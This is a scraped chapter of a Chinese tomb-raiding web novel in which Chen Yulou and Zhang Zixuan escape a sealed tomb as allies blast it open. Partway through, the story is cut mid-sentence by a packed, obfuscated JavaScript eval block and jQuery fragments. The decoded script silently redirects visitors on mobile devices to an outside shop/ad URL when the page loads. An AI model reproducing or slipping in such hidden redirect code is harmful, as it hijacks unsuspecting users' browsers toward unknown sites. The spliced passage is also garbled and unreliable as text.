文趣网 > 其他小说 > 无相人间 > 10. 炮响刀出
    轰!

    第四声炮响,隔着三尺断龙石,把墓底所有人的耳朵震得嗡嗡响。

    石粉簌簌往下掉。陈玉楼一愣,随即骂了句:“他娘的,开山炮?红姑把家底搬来了?”

    张子轩也怔住了。

    三尺青石,从里往外拿炮轰才开。我们没有炮。

    这是他一个时辰前亲口说的话。

    可现在,炮响了。是外面的人,带着炮来炸山了。

    一股血气猛地冲上他惨白的脸。不是怒,是……算漏了。他张子轩行军八年,算无遗策,今日却算漏了两件事:

    他算漏了。不是局,是人。

    算漏了陈玉楼。

    算漏了墨儿。

    “……墨儿……”他嘴唇动了下,声音轻得像叹气,“……机枪……”

    哒哒哒哒——!

    回应他的,是捷克式的嘶吼。

    可开枪的人,没穿军装。

    一身青布长衫,袖口挽到肘弯,露出的手腕上,是常年握笔的茧子,不是握枪的。

    墨儿,张家生子,张子轩的贴身小厮。

    他不是兵,但他家少爷在下头,他就敢架着机枪扫。

    主子在下头,他就不该在上头活着。

    “少爷!”他吼,声音劈了,眼眶通红,“撑住!”

    私下里,他只叫少爷。

    人前,他是张大帅的影子。影子没名字,没军装,只有命。

    陈玉楼架起张子轩,往后拖。身后,万棺合的机括已经走到最后一扣。

    咔…

    第一口铁棺,棺盖抬起半寸,里面是捆成一团的白骨,手里还攥着半截生锈的刀。

    殉葬的兵。死了三百年,还要拉活人陪。

    “张兄,”陈玉楼拖着他退,夜眼死死盯着头顶那道裂缝,“借你名字再用一次。”

    张子轩咳了一声,血沫子溅在陈玉楼肩上。

    “拿去。”

    还是那两个字。哑,冷,稳。

    命可以借,名字更可以借。棋逢对手,生死局上,没那么多讲究。

    陈玉楼深吸一口气,用尽全身力气,对着头顶裂缝吼:  “红姑!——张子轩在我手上!——你要他死,就给老子接着炸!炸不死他,你就等着他的人把你剐了。”

    脏。太脏了。

    拿张家大帅的命,威胁自己人。

    可这就是陈玉楼。利益算清,情分不认。只有这样,红姑娘才会疯,卸岭才会不要命。

    救完,还得补一句:“别多想。留着你的命,我亲自取。”

    可现在,补不了了。先活。

    轰——!!!

    第六炮,砸得极准。

    断龙石正中心,蛛网纹猛地扩大,喀啦一声,裂开一道半人宽的口子!

    碎石往下掉,没砸死人。只掉了几块。

    墓顶没塌。

    陈玉楼一愣,拖着张子轩就往洞口冲。

    张子轩靠在他身上,也愣住了。

    他盯着头顶那个洞,又盯着脚下已经退干净水的墓底,忽然咳了一声,带出血:

    “……水……”他哑着嗓子,“……走了……”

    一点就透。

    三尺青石,承的是水压。水没了,石就是死的。

    他之前说“活埋”,是断定墓是满水的。言家的人泄水要杀他们,反而泄掉了“活埋”的条件。

    陈玉楼听懂了,啐了一口:“他娘的,搬起石头砸自己的脚。”

    “还有,”张子轩又看了一眼头顶的裂口,“是凿,不是炸。”

    他承认自己没算错,但情况变了。从里往外拿炮轰才开”是死局。从外往里拿炮凿”以及”水走了”+“机括被卡停”—

    是生路。

    陈玉楼笑了:“所以说,张大帅,你那一刺,救了我们俩的命。”

    “老大——!”

    一个女人的声音劈开炮声,带着哭腔,又带着狠,“把手伸出来!”

    红姑娘。

    常胜山二当家,卸岭力士里,唯一敢管陈玉楼叫“老大”的女人。  她一身红衣站在炸开的洞口上,半边脸被硝烟熏黑,手里还攥着第七发炮弹的引线。

    看见洞里陈玉楼拖着个血人,她眼神先是一厉,再看到那血人肩上的徽,更厉了,阴阳怪气都从牙缝里挤出来:

    “哟,张大帅。”,她拖着长音,活像在叫魂,“常胜山的坑,埋得下您这号人?

    “少废话!”陈玉楼把张子轩往上一托,“拉他!他死了,你老大我也活不了!他的军队得把我活剐了。你想试?”

    红姑娘骂了一句极脏的话,扔了引线,整个人扑在洞口,伸手下去。

    “拉住!”

    与此同时,墨儿一枪托砸翻一只扑上来的水魈,长衫下摆都被血溅透了。他不看陈玉楼,眼睛只盯着张子轩。看到他家少爷肩上那个贯穿伤,嘴唇都哆嗦了。

    “少爷!”他又喊了一声,伸手去接,“我来迟了!”

    平时恨不得对方死。但是这世上,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932448|213645||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    只有他配当自己的对手。

    死了,就没意思了。

    铁链已经绞到最后一环。

    万棺合,只差三息。

    陈玉楼托着张子轩的腰,红姑娘拽着张子轩的胳膊,墨儿在旁边托着他另一边肩膀。

    张子轩疼得眼前发黑,却还是在被拖出洞口的瞬间,借着最后一点力气,把手里的军刺,哐一声,钉进了最后一口即将合拢的铁棺里。

    当!

    刺卡住棺盖。

    机括卡壳。

    万棺合,停了。

    他脱力前,只留下一句话,哑得几乎听不见:

    “……后背给你……陈玉楼……敢不敢要……”

    陈玉楼把他整个人从洞里拽出来,扔在地上,自己也脱力摔在旁边。

    听见这句,他没回头,只是躺在碎石上,看着天,笑了。

    满脸是血,笑得像个疯子。

    “快喝点吧。”他把水囊砸在张子轩脸上,“死了我亏。”

    红姑娘扑上来检查陈玉楼的伤,墨儿扑过去按住张子轩的肩。  两边人马隔着两个血人,眼神跟刀子一样。

    归烬山,塌了半边。

    断龙石下,万棺被一柄军刺卡停,辰州言家的局,破了一半。

    陈玉楼躺着,看天。

    张子轩躺着,看地。

    没人说“谢”,没人说“求”。

    合作不说。只叫——顺便。

    墨儿给张子轩包扎,压低声音,带着哭腔:“少爷,山下赵有财跑了,往云南方向。”

    红姑娘给陈玉楼勒伤口,咬着牙骂:“老大,常胜山折了二十七个兄弟,就为了捞你跟这个张大帅!”

    最后“张大帅”三个字,她说得又轻又慢,尾音往上挑,明显的里藏针。

    张子轩闭着眼。

    陈玉楼啐了口血。

    没人接话。

    半晌,陈玉楼才开口,问的是红姑娘:

    “赵胖子跑了,他背后的人呢?”

    红姑娘手一顿:“炮响的时候,林子里有个人影,往西撤了。用左手打的枪。”

    左手。左肩有伤,左臂该废了。却还能打枪。

    金蝉脱壳的脱,是真脱。断臂的断,是假断。

    张子轩的眼,猛地睁开。

    陈玉楼的夜眼,也亮了。

    两人同时开口,一个字都没差:

    “追。”

    归烬山下,炮声停了。

    西南的局,才刚开始。